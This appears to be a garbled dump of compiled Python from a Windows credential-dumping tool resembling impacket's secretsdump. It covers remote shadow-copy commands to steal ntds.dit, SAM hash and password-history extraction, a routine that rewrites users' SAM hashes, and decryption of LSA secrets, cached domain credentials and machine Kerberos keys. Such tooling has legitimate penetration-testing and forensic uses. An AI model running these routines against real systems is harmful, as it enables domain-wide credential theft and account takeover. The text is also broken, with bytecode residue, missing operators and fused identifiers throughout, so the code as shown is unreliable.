|  | jdkr@| 	| d S | jdkrL| 
| d S | jdkrX| | d S td| j )Nr  c                 S   r  rt   r  r  rt   rt   ru   r  }  r  z4RemoteOperations.__executeRemote.<locals>.<listcomp>r  zecho z ^> z > z & z & del zExecuteRemote command: %srN  wmiexecmmcexecz Invalid exec method %s, aborting)r  r  rh  rk  rl  rj  r   r  rn  _RemoteOperations__smbExec_RemoteOperations__wmiExec_RemoteOperations__mmcExecr1  )r	  r   r  rt   rt   ru   __executeRemote|  s   $


z RemoteOperations.__executeRemotec                 C   s   |  j |7  _ d S rG  )rm  r	  r   rt   rt   ru   __answer  s   zRemoteOperations.__answerc              
   C   s  |rd| }nd}|  | td d}	 z| jdd| j W n/ tyO } z"|dkr1td	t|d
dkrDtd |d7 }n W Y d }~nd }~ww q| j	
d}d}d}d}d}	d}
td}|D ]J}|ddkr~||dd  d d }qg||	dkr|||	t|	 d  d d }qg||
dkr|||
t|
 d  d |d  }qg| jdd td|d|d|df  |d|d|dfS )Nz(%COMSPEC% /C vssadmin list shadows /for=z"%COMSPEC% /C vssadmin list shadowsr  r   Tr#  Temp\__output   z)Too many tries trying to list vss shadowsSHARINGr0     
r=  s	   Volume: (s   Shadow Copy ID: {z%3547017b-0ac9-478b-88e6-f9be7e1c11999s
   GLOBALROOTs   \\?r  r  z2__getLastVSS found last VSS %s on %s with ID of %sr  ) _RemoteOperations__executeRemoter4  r5  rO  getFile_RemoteOperations__answerr1  r2  r3  rm  rH  r?  rC  r   r  r:  )r	  forDriver  r6  r7  lines
lastShadowlastShadowForlastShadowId	SHADOWFORIDSTARTIDLENlinert   rt   ru   __getLastVSS  sP   



$&&zRemoteOperations.__getLastVSSc              
   C   sV  t d zt| j}|d }W n   Y d S zt| j| jd}|d }W n   Y d S zt| j|d\}}|d d }|d d }W n   Y d S t| j| t| j| t d|  t d	| j	  | j
|d
\}}	}
|dks|dkr|	|kr| d|  | j
|d
\}}	}
d}|dks|	|krtdnd}ddd tdD d }| d||dd  |f  |du rt d|
  | d|
  d}	 z	| jdd W nF ty } z8|dkr|t|ddkst|ddkr|d7 }td ntd| j t|f  	 W Y d }~nd }~ww qt| jd | }|S )!NzSearching for NTDS.ditr  z1SYSTEM\CurrentControlSet\Services\NTDS\Parametersr[  zDSA Database filer  r  zZRegistry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some timez$Using %s method for remote execution)r,  r  z-%%COMSPEC%% /C vssadmin create shadow /For=%sTzCould not get a VSSFc                 S   r  rt   r  r  rt   rt   ru   r    r  z-RemoteOperations.saveNTDS.<locals>.<listcomp>r  r  z/%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\Temp\%sziTrying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quietz<%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quietr   r#  r%  r&  STATUS_OBJECT_NAME_NOT_FOUNDr.  r0  r  z7Cannot delete target file \\%s\ADMIN$\Temp\__output: %szTemp\%s)r   r~  r   r  rT  r_  rU  r`  ra  rn  _RemoteOperations__getLastVSSr)  r1  r  r  r  rO  rC  r2  r3  r4  r5  r  r  rJ  r"  )r	  r
  r  rb  rc  rd  ntdsLocation	ntdsDriveshadow	shadowForr  shouldRemover  r6  r7  r  rt   rt   ru   saveNTDS  sl   
&
zRemoteOperations.saveNTDSFc           	   	   C   s8  t d | |}t d | j| jddd }t d|  t d d| d	| fd
| d| fd| d| fg}|rQt d |d| d| f |D ]1}t d|d |d f  t|d d}| j	d|d |j
 W d    n1 sw   Y  qSt d | | t d tt| d S )NzCreating SSz5Getting SMB equivalent PATH to access remotely the SSr#  /r   zGot SMB GMT Path: %sz!Performed SS via WMI and got infoz%s/SAMz%s\System32\config\SAMz	%s/SYSTEMz%s\System32\config\SYSTEMz%s/SECURITYz%s\System32\config\SECURITYzAdding NTDS Pathz%s/ntds.ditz%s\NTDS\ntds.ditz$Downloading Remote path: %s to -> %sr0  wbzTrying to delete ShadowSnapshotzDDownloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...)r   r~  "_RemoteOperations__wmiCreateShadowrO  listSnapshotsr&  r  r  r  r*  write"_RemoteOperations__wmiDeleteShadowr  zip)	r	  r  	localPathNTDSr  
gmtSMBPathpathsp
local_filert   rt   ru   createSSandDownloadWMI  s.   







z'RemoteOperations.createSSandDownloadWMINN)r   rG  F)5rp   rq   rr   r+  rt  r  r  r  r  r  r  r  r   DS_NAME_FORMATDS_DISPLAY_NAMEDS_FQDN_1779_NAMEr  r  r  r  r  r  r  r%  r+  r@  rA  rB  rP  r  rZ  rf  rs  r  r  r  r  r  r  r  r  r  r  r  r!  r   r@  rC  r)  r+  r7  r=  rK  rt   rt   rt   ru   rL    sb    
)P


&		$	'E
2IrL  c                   @   s0   e Zd Zdd Zed	ddZed	ddZdS )
CryptoCommonc                 C   s   t d|}|d |d |d |d |d |d |d g}|d |d |d |d |d |d |d g}trCtd|td|fS tt|tt|fS )N<Lr   r0  r  r/  r=  )r   r   r?   r  bytes)r	  baseKeyr  key1key2rt   rt   ru   	deriveKey*  s   
..zCryptoCommon.deriveKey                   c                 C   s   d}|dkrt | t j|}tdt|dD ]-}|dkr$t | t j|}|||d  }t|dk r<|ddt|  7 }|||7 }q|S )Nr=  rX  r      r  )rX   newMODE_CBCr  r?  decrypt)r  valueiv	plainTextaes256indexcipherBufferrt   rt   ru   
decryptAES9  s   zCryptoCommon.decryptAESc                 C   s   d}|dkrt | t j|}dt|d  }|t|g| 7 }tdt|dD ]}|dkr5t | t j|}|||d  }|||7 }q'|S )Nr=  rX  rY  r   )rX   rZ  r[  r?  rS  r  encrypt)r  r]  r^  
cipherTextr`  padra  plainBufferrt   rt   ru   
encryptAESJ  s   zCryptoCommon.encryptAESN)rX  )rp   rq   rr   rW  staticmethodrc  rh  rt   rt   rt   ru   rQ  (  s    rQ  c                   @   sF   e Zd ZdddZdd Zdd Zd	d
 Zdd Zdd Zdd Z	dS )OfflineRegistryNFc                 C   s(   || _ | j d urt| j || _d S d S rG  )_OfflineRegistry__hiveFiler   get_registry_parser_OfflineRegistry__registryHive)r	  hiveFileisRemotert   rt   ru   r+  ^  s   
zOfflineRegistry.__init__c                 C   (   | j |}|d u rd S | j |}|S rG  )rm  findKeyenumKey)r	  	searchKey	parentKeykeysrt   rt   ru   rr  c  
   zOfflineRegistry.enumKeyc                 C   rp  rG  )rm  rq  
enumValues)r	  rs  r  r  rt   rt   ru   rw  m  rv  zOfflineRegistry.enumValuesc                 C      | j |}|d u rd S |S rG  )rm  getValue)r	  keyValuer]  rt   rt   ru   ry  w     zOfflineRegistry.getValuec                 C   s   | j ||}|d u rd S |S rG  )rm  setValue)r	  rz  rd  r]  rt   rt   ru   r|    s   zOfflineRegistry.setValuec                 C   rx  rG  )rm  getClass)r	  	classNamer]  rt   rt   ru   r}    r{  zOfflineRegistry.getClassc                 C      | j d ur| j  d S d S rG  )rk  rm  rE  rD  rt   rt   ru   r    s   
zOfflineRegistry.finish)NF)
rp   rq   rr   r+  rr  rw  ry  r|  r}  r  rt   rt   rt   ru   rj  ]  s    


rj  c                   @   s   e Zd Zddddd dfddZd&ddZdd	 Zd
d Zdd Zd&ddZd&ddZ	dd Z
dd Zdd Zdd Zdd Zdd Zdd Zd'd!d"Zd(d$d%Zd#S ))	SAMHashesFc                 C   s   t | S rG  _print_helper)secretrt   rt   ru   r         zSAMHashes.<lambda>c                 C   sP   t | || || _d| _|| _|| _t | _i | _|| _	|| _
g | _|| _d S )Nr=  )rj  r+  _SAMHashes__samFile_SAMHashes__hashedBootKey_SAMHashes__bootKey_SAMHashes__printUserStatusrQ  _SAMHashes__cryptoCommon_SAMHashes__itemsFound_SAMHashes__perSecretCallback_SAMHashes__history_SAMHashes__historyItems_SAMHashes__pwdLastSet)r	  samFiler  ro  historyprintUserStatusperSecretCallback
pwdLastSetrt   rt   ru   r+    s   
zSAMHashes.__init__c           	   	      s:  t  dk rdS t  dkr\|s7 d }t dd  d}td dd d }d| d	| d	| S  fd
dtdddD }dd |D }d|d  d	|d  d	|d  S t  dkr d }t dd  d}d	tttd dd }td dd d }d| d	| d	| d	| S dS )Nr  r  r   r  r  0rR  zS--c                    s&   g | ]} ||d   ddd qS )r  Nr  rt   )r  r  binary_datart   ru   r    s   & z+SAMHashes.binary_to_sid.<locals>.<listcomp>r  c                 S   s   g | ]	}t j|d dqS )big	byteorder)int
from_bytes)r  sectionrt   rt   ru   r    s    z	S-1-5-21-r0  z<LLLL      )	r?  r   r:  lstripr
   r  r  mapr2  )	r	  r  without_prefixrevauthidsubsectionsdecimalsr$  rt   r  ru   binary_to_sid  s$   "zSAMHashes.binary_to_sidc                 C   s>   t j|dd}|dkrtddddddS |d d }t|S )Nlittler  r   A  r0       }*{G逖 )r  r  r   utcfromtimestamp)r	  nt_time	unix_timert   rt   ru   nt_time_to_datetime  s
   
zSAMHashes.nt_time_to_datetimec                 C      t d}|| | S Nmd5hashlibrZ  updatedigestr	  r   r  rt   rt   ru   r[        

zSAMHashes.MD5c           	      C   s&  t d d}d}| tddd }t|}|d dd d	krkt|d }| |d
 | | j | }t	
|}||d |d  | _| | jd d | | jd d  | }|| jdd  kritdd S |d dd dkrt|d }| j| j|d d |d  |d
 | _d S d S )Nz"Calculating HashedBootKey from SAMs/   !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&% s)   0123456789012345678901234567890123456789 SAM\Domains\AccountFr0  r   r      ri   rQ   rl   rY  zJhashedBootKey CheckSum failed, Syskey startup password probably in use! :(   r   r   )r   r  ry  ntpathr  r   rb   r[   r  rW   rZ  rd  r  r1  r}   r  rc  )	r	  QWERTYDIGITSr  
domainData
samKeyDatarc4Keyrc4checkSumrt   rt   ru   getHBootKey  s(   

*

zSAMHashes.getHBootKeyc                 C   s   | j |\}}t|tj}t|tj}|du r8| | jd d td| | }	t|	}
|
	|d }n| j 
| jd d |d |d d d }||d d ||dd   }|S )NFrY  rR  r|   ri   r  )r  rW  rV   rZ  MODE_ECBr[   r  r   rW   rd  rc  r\  )r	  r$  cryptedHashconstantnewStyleKey1Key2Crypt1Crypt2r  r  r  decryptedHashrt   rt   ru   __decryptHash  s   "
*$zSAMHashes.__decryptHashc                 C   s   | j |\}}t|tj}t|tj}	||d d |	|dd   }
|du rI| | jd d td| | }t	|}||
}|S | j 
| jd d |
|}|S )Nr  FrY  rR  )r  rW  rV   rZ  r  rd  r[   r  r   rW   rh  )r	  r$  plaintextHashrO  r  r  r  r  r  r  r  r  r  encryptedHashrt   rt   ru   __encryptHash  s   $"

zSAMHashes.__encryptHashc                 C   sP   | j |\}}t|tj}t|tj}||d d ||dd  S )Nr  rY  )r  rW  rV   rZ  r  r\  )r	  rid_intblock16rU  rV  crypt1crypt2rt   rt   ru   __unwrap_history_block  s   $z SAMHashes.__unwrap_history_blockc                 C   s   g }| j d d }|D ]J\}}|rt|d dkrq|r"t|dkr#qtj|tj|d}||}tdt|dD ]}	||	|	d  }
t|
dk rK n
|| ||
 q9q|S )NrY  r   )r^  )	r  r?  rX   rZ  r[  r\  r  r   _SAMHashes__unwrap_history_block)r	  r  entriesoutr  rO  enccipherplainoffblockrt   rt   ru   __decrypt_history_entries_aes  s    
z'SAMHashes.__decrypt_history_entries_aesc           	      C   s   g }t |}|dkrdnd}|d |krs|||d  }tj||d |d  ddd}|dks4|d	kr9|d
7 }q|d }|| |ksI|d dkrN|d
7 }q||||  }|||f || }|d
 rm|d
|d
  7 }|d |ks|S )Ni      r      rY  r  Fsignedi    r  )r?  r  r  r  )	r	  vdatar  lengthr:  rO  data_lendata_offr  rt   rt   ru   __scan_v_for_aes_entries%  s(    z"SAMHashes.__scan_v_for_aes_entriesc           
   	   C   s   |dks|dkr
g S || }|t |krg S ||| }t |dk r$g S zt|}W n ty>   tjd||dd g  Y S w |d }|sGg S t |t |d  }	|	dkrWg S |d |	 }| ||d |fgS )	Nr   r  z;Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)Tr5  r|   rY  ri   )r?  r   r1  r   r  '_SAMHashes__decrypt_history_entries_aes)
r	  r  r   r:  r  endblobrecordr  enc_lenrt   rt   ru   __decode_aes_history_block:  s,   z$SAMHashes.__decode_aes_history_blockc                 C   s\  d}d}g g d}|d }|d }t j|dd dd	d
}	t j|dd dd	d
}
t j|dd dd	d
}t j|dd dd	d
}|sKtd| |S | |||	|
}| ||||}|sp|
rp||	|	|
  }| || |}|s|r||||  }| || |}||d< ||d< |d s|d s|
dkr|dkr| |}|r| |||d< |S )Ns   LMPASSWORDHISTORY s   NTPASSWORDHISTORY )lmntr   r   r   r  r  Fr  r  r  rY  r  z<Skipping old-style history for RID %d; RC4/DES path disabledr  r  )r  r  r   r  $_SAMHashes__decode_aes_history_blockr  "_SAMHashes__scan_v_for_aes_entries)r	  r  	new_styleuser_accountlm_constnt_constr  metar   	lm_offset	lm_length	nt_offset	nt_length
lm_entries
nt_entriesr  fallback_entriesrt   rt   ru   __extract_local_historyV  s6   
 
z!SAMHashes.__extract_local_historyc                 C   s.   t |}t|D ]
\}}|||| < qt|S rG  )	bytearray	enumeraterS  )r	  objr:  r]  r  vrt   rt   ru   __replaceValue}  s   zSAMHashes.__replaceValuec           C      C   s^  d}d}| j d u rd S td |   g | _d}| |}z|d W n   Y | t	ddd }t
|}|d	 }|d
 }tt|d d d }	| t	ddd }
t|
}| j|d dd}d}t }| |D ]}|dsxqp| t	||dd }t|}|d }|d }|d |||  d}|d }||g d||< zDd}tdD ];}|d d | }td|||d   d }|d!v r|d"krd#nd$}| ||||  }|| d% | ||7 }qW qp ty   || d% sd&g|| d%< Y qpw d'd( | D }ttd)d)d*}ttd)d)d*}|D ]}d+ }  }! }"}#t| t	||dd }$|$d, }%|$d- }&| |&}'|$d. }(| d/|( })|)|v }#|%|k}*|*rr|'t|	d0 }+t  },|,|+k }*|$d1 }-t!|-d@ } t!|-d2@ }"|*}!| t	||dd }.t"|.}/t#|d3}|/d }
|
|/d |/d |/d   d4}0|/d5 dkrt$%d6|0  q'd7}1|
|/d8 d  d9d: d;kr d+}2|/d< d=krt&|
|/d> d  d |/d<  }3|/d5 d=krt&|
|/d8 d  d |/d5  }1n)d}2|/d< d?krt'|
|/d> d  d |/d<  }3t'|
|/d8 d  d |/d5  }1t%d@|2  |/d< d=kr@| (||3||2}4nd7}4|1d7krP| (||1||2}5nd7}5|4d7kr]td)d)}4|5d7krhtd)d)}5dA|0|t|4d*t|5d*f }6| j)r|$dB d ur| |$dB }7|7tdCdddddkrdD}7ndE}7|6 dF|7 dG}6| j*du r|6 dH| rdIndJ dK|!s|"rdJndI dL|#rdJndI dG}6|6| j+|< | ,|6 | j-rz| .||2|/}8|8/dMg }9|8/dNg }:|9r|:r|9dO |:dO kr|90  |:0  |9r|:r|9dO |:dO kst%dP|0|t1|9t1|: t2t1|9t1|:};t|;D ]]}<|<t1|9k r:|9|< nd7}=|<t1|:k rG|:|< nd7}>|=rSt|=d*n|}?|>r_t|>d*n|}@|?|krm|@|krmq-|0 dQ|< dR| dR|? dR|@ dS
}A| j|A | ,|A q-W q' ty }B ztj3dT||BddU W Y d }B~Bq'd }B~Bww q'd S )VN   NTPASSWORD    LMPASSWORD z0Dumping local SAM hashes (uid:rid:lmhash:nthash)SAM\Domains\Account\UsersNamesr  r  r0  r   r   r  )microseconds<   Vr   T)r  zSAM\Domains\Builtin\Aliases00000Cr   r   r   zutf-16r   )
Group Namez
User CountMembersr     r   4   rR  r  )  i  r  r  r  r  zNo users in this groupc                 S   s6   g | ]}|d  dkr|d D ]
}|  r|  qqS )r  Administratorsr  strip)r  groupmemberrt   rt   ru   r    s    z"SAMHashes.dump.<locals>.<listcomp>r  r  Fr   r   r   r  )minutesr      rY  utf-16ler   z-The account %s doesn't have hash information.r=  r   r  r/  r  r   r  r   r  NewStyle hashes is: %sz%s:%d:%s:%s:::r   r  neverN/Az (pwdLastSet=)z
 (Enabled=FalseTruez
) (Locked=z	) (Admin=r  r  r  z,History lengths for %s (RID %d): lm=%d nt=%drj  r   z:::z)SAM history parsing failed for RID %d: %sr5  )4r  r   r~  r  r  rr  removery  r  r  r   r   abstotal_secondsr   r  r   rG  r   r:  r  r
   r  r1  r  r   r   LMOWFv1NTOWFv1r   r  r   utcnowboolr   r  r  r  rw   r   _SAMHashes__decryptHashr  r  r  r  r  !_SAMHashes__extract_local_historygetpopr?  maxr  )Cr	  
NTPASSWORD
LMPASSWORDusersKeyridsr  r  r   r   LockoutDurationMinutesr  domainDataV
system_sidgroups_rootgroupsentryr   
group_dataname_offsetname_length	groupname
user_count
new_offsetrM  r:  
entry_type
sid_lengthsidlocal_adminsempty_lm_hexempty_nt_hexr$  disabled
locked_outauto_lockedis_adminuserAccountFr   r   'LastIncorrectPasswordTimestamp_datetimer   user_sidlockedlockout_expiry_timenowgrouped_dataraw_vuserAccountuserName	encNTHashr  	encLMHashlmHashntHashanswerr  r  lm_histnt_histcountidxlm_valnt_vallm_hexnt_hexhistory_lineexcrt   rt   ru   r    s,  








"    


$@


"
 zSAMHashes.dumpr=  c              
   C   sb  d}d}| j d u rd S td|  |   d}| |}z|d W n   Y |D ]}t| t	||dd }	|}
t
|d}|	d	 }||	d
 |	d
 |	d   d}| | krjtd||f  nq+|	d dkr{td|   d S d}||	d d  dd dkrd}|	d dkrt||	d d  d |	d  }|	d dkrt||	d d  d |	d  }n(d}|	d dkrt||	d d  d |	d  }t||	d d  d |	d  }td|  td|	d |	d f  |	d dkr| ||||}nd}d}|dkr| ||||}nd}d}d}|dkrf| |||d |||d< |	d t| krWtd  td! td"|	d t| f  d}n| ||	d | |	d	< d}|dkr| |||d |||d< |	d t| krtd# td$ td%|	d  d&t|    d S | ||	d | |	d	< d}|dkrtd'd'}|dkrtd'd'}td(||t|d)t|d)f  |r| t	||
d|	 d u rtd*  d S ntd+ |dkrtd'd'}|dkrtd'd'}d,||t|d)t|d)f }|| j|< | | q+d S )-Nr  r  z$Editing local SAM hash for user "%s"r	  r
  r  r0  rY  r   r   r   r  zLocated rid for "%s": %dr   r   zPSAM hashes change for user %s failed. The account doesn't have hash information.r=  r   r  r/  r  Fr   r  r   Tr  r  z#LMHashLength: %d - NTHashLength: %dri   r|   zMistaching LM lengths received.z?User probably has an empty password. Unable to set new LM hash.zReceived: %d - Expected: %dzMistaching NT lengths received!z?User probably has an empty password. Unable to set new NT hash.z
Received: z - Expected: r  z"Previous user hash: %s:%d:%s:%s:::r  z*Failed to write new user hash to SAM hive.zUUnable to change user hash, please ensure the target user already has a password set.%s:%s:%s:%s:::)r  r   r~  r  rr  r#  r   ry  r  r  r  r:  casefoldr  r  r  rw   r   r*  _SAMHashes__encryptHashr?  r  _SAMHashes__replaceValuer   r&  r'  r   r|  r  r  )r	  user	newNTHash	newLMHashr/  r0  r1  r2  r$  rQ  _ridr  rR  rS  r  rT  rU  rV  userChangedrW  rt   rt   ru   edit=  s   



"    






"

* 



$
zSAMHashes.editNc                 C   st   t | jdkr8t| j}|d }t||d}|D ]}|| j| d  q| jD ]	}||d  q(|  |S d S )Nr   z.samr   
)r?  r  sortedr!  rB  r  rE  )r	  baseFileNamer   itemsr  fdr=  r4  rt   rt   ru   export  s   

zSAMHashes.exportrM  )r=  rG  )rp   rq   rr   r+  r  r  r[   r  r*  rd  r  r  r  r  r+  re  r  rk  rr  rt   rt   rt   ru   r    s$    


' 
;xr  c                   @   s   e Zd ZdZG dd dZddddd fdd	Zd
d Zd)ddZdd Zdd Z	dd Z
dd Zdd Zdd Zdd Zdd Zdd  Zd!d" Zd#d$ Zd*d%d&Zd*d'd(ZdS )+
LSASecretsz(Unknown User)c                   @   s   e Zd ZdZdZdZdZdS )zLSASecrets.SECRET_TYPEr   r0  r  r/  N)rp   rq   rr   LSA
LSA_HASHEDLSA_RAWLSA_KERBEROSrt   rt   rt   ru   SECRET_TYPE  s
    rx  NFc                 C      t |S rG  r  
secretTyper  rt   rt   ru   r     r  zLSASecrets.<lambda>c                 C   s\   t | || d| _|| _d| _d| _d| _t | _|| _	|| _
g | _g | _|| _|| _d S )Nr=  T)rj  r+  _LSASecrets__hashedBootKey_LSASecrets__bootKey_LSASecrets__LSAKey_LSASecrets__NKLMKey_LSASecrets__vistaStylerQ  _LSASecrets__cryptoCommon_LSASecrets__securityFile_LSASecrets__remoteOps_LSASecrets__cachedItems_LSASecrets__secretItems_LSASecrets__perSecretCallback_LSASecrets__history)r	  securityFiler  	remoteOpsro  r  r  rt   rt   ru   r+    s   
zLSASecrets.__init__c                 C   r  r  r  r  rt   rt   ru   r[     r  zLSASecrets.MD5  c                 C   s2   t  }|| tdD ]}|| q| S )Nr  )r  sha256r  r  r  )r	  r  r]  roundsshar  rt   rt   ru   __sha256  s
   
zLSASecrets.__sha256c                 C   s   d}t d|d d d }|t|| d  }|}tdt|dD ]:}|d d }|d d }t|}	t|	tj}
||
|7 }|dd  }|dd  }t|dk r[|t|d  }q!t|}|d S )Nr=  z<Ir  r   r  r  r  )	r
   r?  r  r?   rV   rZ  r  r\  r  )r	  r  r]  r_  encryptedSecretSizekey0r  re  	tmpStrKeytmpKeyr  r  rt   rt   ru   __decryptSecret  s"   zLSASecrets.__decryptSecretc                 C   s.   t ||t}| }t|}||}|S rG  )rY   rZ  r[   r  rW   rd  )r	  r  r]  r^  hmac_md5rc4keyr  r   rt   rt   ru   r    s
   

zLSASecrets.__decryptHashc                 C   s   | j du r6t|}| | j|d d d }| j||d dd  }t|}|d dd  d d | _d S t	d}|
| j tdD ]}|
|dd	  qE| }t	|}||d
d }|dd | _d S )NTr       r  r  r  r  r  L   r  rY  )r  r  _LSASecrets__sha256r}  r  rc  r  r~  r  rZ  r  r  r  rW   r\  )r	  r]  r  r  r_  r  r  r  rt   rt   ru   __decryptLSA  s   


zLSASecrets.__decryptLSAc                 C   sT   t d | d}|d u r!t d | d}d| _|d u r!d S | |d  d S )NzDecrypting LSA Keyz\Policy\PolEKList\defaultz2PolEKList not found, trying PolSecretEncryptionKeyz&\Policy\PolSecretEncryptionKey\defaultFr0  )r   r  ry  r  _LSASecrets__decryptLSA)r	  r]  rt   rt   ru   __getLSASecretKey  s   



zLSASecrets.__getLSASecretKeyc                 C   s   t d | d}|d u rtd| jdu r:t|d }| | j|d d d }| j	||d dd  | _
d S | | j|d | _
d S )NzDecrypting NL$KMz%\Policy\Secrets\NL$KM\CurrVal\defaultzCouldn't get NL$KM valueTr0  r   r  )r   r  ry  r1  r  r  r  r~  r  rc  r  _LSASecrets__decryptSecret)r	  r]  r  r  rt   rt   ru   __getNLKMSecret&  s   


 zLSASecrets.__getNLKMSecretc                 C   s   |d@ dkr||d@  S |S )Nr/  r   rt   r#  rt   rt   ru   __pad2  s   zLSASecrets.__padc              
   C   s(  | j d u rd S td | d}|d u rd S z|d W n   Y d}d|v rB|d | dd }|dkr>|d@ }n|d	 }|   |   |D ]}td
|	d  t
| td|	dd }|d dkr|d d@ dkr| jdu r| j| jdd |d |d }n| | j|d |d }	 nqL|d d }|dd  }|d |d  	d}|| |d | |d  d  }|d | |d  	d}tjt|d tjd}	| jdu rd||||t|	d|	f }
nd||t|	d||	f }
| j|
 | tjj|
 qLd S )Nz>Dumping cached domain logon information (domain/username:hash)z\Cache
   NL$Controli (  s   NL$IterationCountz\Cache\NL$IterationCountr0  l    | r  Looking into %sr  r   rX  r   TrY  r  r   H   r   r  r   r   r   )tzz%s/%s:$DCC2$%s#%s#%s: (%s)z%s/%s:%s:%s: (%s))r  r   r~  rw  r#  ry  _LSASecrets__getLSASecretKey_LSASecrets__getNLKMSecretr  r:  r   r  r  r  r  rc  r  _LSASecrets__decryptHash_LSASecrets__padr   fromtimestampr7   r	   utcr   r  r  r  rs  rx  ru  )r	  r  iterationCountr  r]  r_  encHashrR  
domainLong	timestamprW  rt   rt   ru   dumpCachedHashes8  sT   




 
$$
 zLSASecrets.dumpCachedHashesc                 C   s  t |dkrtd|  d S |drtd|  d S | }td|  d}|drgz|d}W n   Y nt| jd	r\| j	|d
d  }|d u rW| j
d }n
d| }n| j
d }||7 }n|drz|d}W n   Y nt| jdr| j }|d u r| j
d }n
d| }n| j
d }||7 }n}|drz|d}W n   Y njd| }nd|drt|}dt|d dt|d d}nE|drt }|| d }	d }
t| jdr| j \}	}
|	r|
sB|  }|dkrB|d}|d}|dkrB|d | }||d
 d  }d|v r.|dd n|}
d|v r>|dd  n| }	|	rg|
rgd|
|	f }d|
|	ttdddt| df }nd}dttdddt| df }| ||std d |t|df }| j| | tjj| nwt !d!|d urt "d!|#d"}z|d$d#d$}t%&|}W n   Y nOg }|d% d"kr|d&|d%   |d' D ]}|d(|d)   |d*|d+   qd,'|}d-||f }nt(d.t)|d%   t(d/ t%j*|d
d0}|dkr3|}| j| | tjj| d S d1|t|df }| j| | j+| jj+krPt,| | tjj-| d S )2Nr   zDiscarding secret %s, NULL Datas     zDiscarding secret %s, all zerosz%s r  _SC_r  rs  r  r   z%s:DEFAULTPASSWORDrf  ASPNET_WP_PASSWORDz
ASPNET: %sr8   z*dpapi_machinekey:0x{0}
dpapi_userkey:0x{1}
MachineKeyzlatin-1UserKeyz$MACHINE.ACCr  r=  r  rL  rC  z%s\%s$z%s\%s$:%s:%s:::z$MACHINE.ACC: %s:%sz]Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)z%s:plain_password_hex:%szG^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$r0       versionz - Version : %d	questionsz | Question: %squestionz | |--> Answer: %srW  rm  z#Security Questions for user %s: 
%szfUnknown SQSA version (%s), please open an issue with the following data so we can add a parser for it.zSDon't forget to remove sensitive content before sending the data in a Github issue.)indentz%s:%s).r?  r   r  rG  rJ  r~  r:  r  r  rs  UNKNOWN_USERrf  r8   formatr   rZ   rZ  r  r  *_LSASecrets__getMachineKerberosSaltOffliner3  rH  r   r&  r  !_LSASecrets__printMachineKerberosr  r  r  rs  rx  rt  rematchr7  r  r  jsonloadsr  warningr2  dumpsrq   r=   rv  )r	  r  
secretItem	upperNamer  
strDecodedrr  dpapimd4machiner  rO  salt_strhost_idxrealmfqdn	printnameextrasecretrA  outputqkprintableSecretrt   rt   ru   __printSecretw  s   















$



zLSASecrets.__printSecretc                 C   s   zJ|  d}|  d}|du s|du rW dS dd }||d }||d }|r*|s-W dS | d}d	| d
|d
| d
f }|W S  ty[   tjddd Y dS w )zCompute Kerberos salt from SECURITY hive Policy values (offline mode).
        Reads PolDnDDN (domain FQDN) and PolAcDmN (machine name) which are stored
        as LSA_UNICODE_STRING structures.z\Policy\PolDnDDN\defaultz\Policy\PolAcDmN\defaultNr=  c                 S   sB   t | dk rdS td| d d d }| dd|  ddS )Nr  r  z<Hr  r   	utf-16-ler  )r?  r
   r:  rstrip)rawr  rt   rt   ru   decode_lsa_unicode	  s   zFLSASecrets.__getMachineKerberosSaltOffline.<locals>.decode_lsa_unicoder0  $rD  r  z)Exception computing offline Kerberos saltTr5  )ry  rF  r  rJ  rK  r1  r   r  )r	  
dnDdnValue
acDmNValuer  r  r  rL  rO  rt   rt   ru   __getMachineKerberosSaltOffline	  s"   

(z*LSASecrets.__getMachineKerberosSaltOfflinec           	   	   C   s   d}t | jdr| j }|dkr|  }|dkrdS ttjjjttjj	jttjj
jg}|dddd}|D ];}z	t|||d }W n tyU   tjddd	  w tj| }d
||t|jdf }| j| | tjj| q;dS )Nr=  rP  Fr  r  r  r1  Tr5  %s:%s:%s)r  r  rP  r  r  r@   rO   aes256_cts_hmac_sha1_96r]  aes128_cts_hmac_sha1_96des_cbc_md5r:  rK  rP   r1  r   r  r  KERBEROS_TYPEr   contentsr  r  r  rs  rx  rw  )	r	  	rawsecretmachinenamerO  
allciphersetyper  typenamer  rt   rt   ru   __printMachineKerberos!	  s0   


z!LSASecrets.__printMachineKerberosc           
      C   sD  | j d u rd S td | d}|d u rd S z|d W n   Y | jdkr,|   |D ]q}td|  dg}| jrB|	d |D ]Z}| 
d||}|d ur|d	 d
kr| jdu rt|d	 }| | j|d d d }| j||d dd  }t|}|d }	n	| | j|d	 }	|dkr|d7 }| ||	 qDq.d S )NzDumping LSA Secretsz\Policy\Secretsr  r=  r  CurrValOldValz\Policy\Secrets\{}\{}\defaultr0  r   Tr   r  r  rj  )r  r   r~  rr  r#  r~  r  r  r  r  ry  r  r  r  r  r  rc  r  r  _LSASecrets__printSecret)
r	  ru  r  valueTypeList	valueTyper]  r  r  r_  r  rt   rt   ru   dumpSecretsC	  sB   






zLSASecrets.dumpSecretsc                 C   L   t | jdkr$|d }t||d}| jD ]	}||d  q|  |S d S )Nr   z.secretsrl  rm  )r?  r  r!  rB  rE  r	  ro  r   r  rq  r=  rt   rt   ru   exportSecretsq	     
zLSASecrets.exportSecretsc                 C   r  )Nr   z.cachedrl  rm  )r?  r  r!  rB  rE  r  rt   rt   ru   exportCachedz	  r  zLSASecrets.exportCached)r  rG  )rp   rq   rr   r  rx  r+  r[   r  r  r  r  r  r  r  r  r  r  r  r  r  r  rt   rt   rt   ru   rs    s,    

? "
.	rs  c                   @   sN   e Zd ZdddZdd Zdd Zdd	 Zd
d Zdd Zdd Z	dd Z
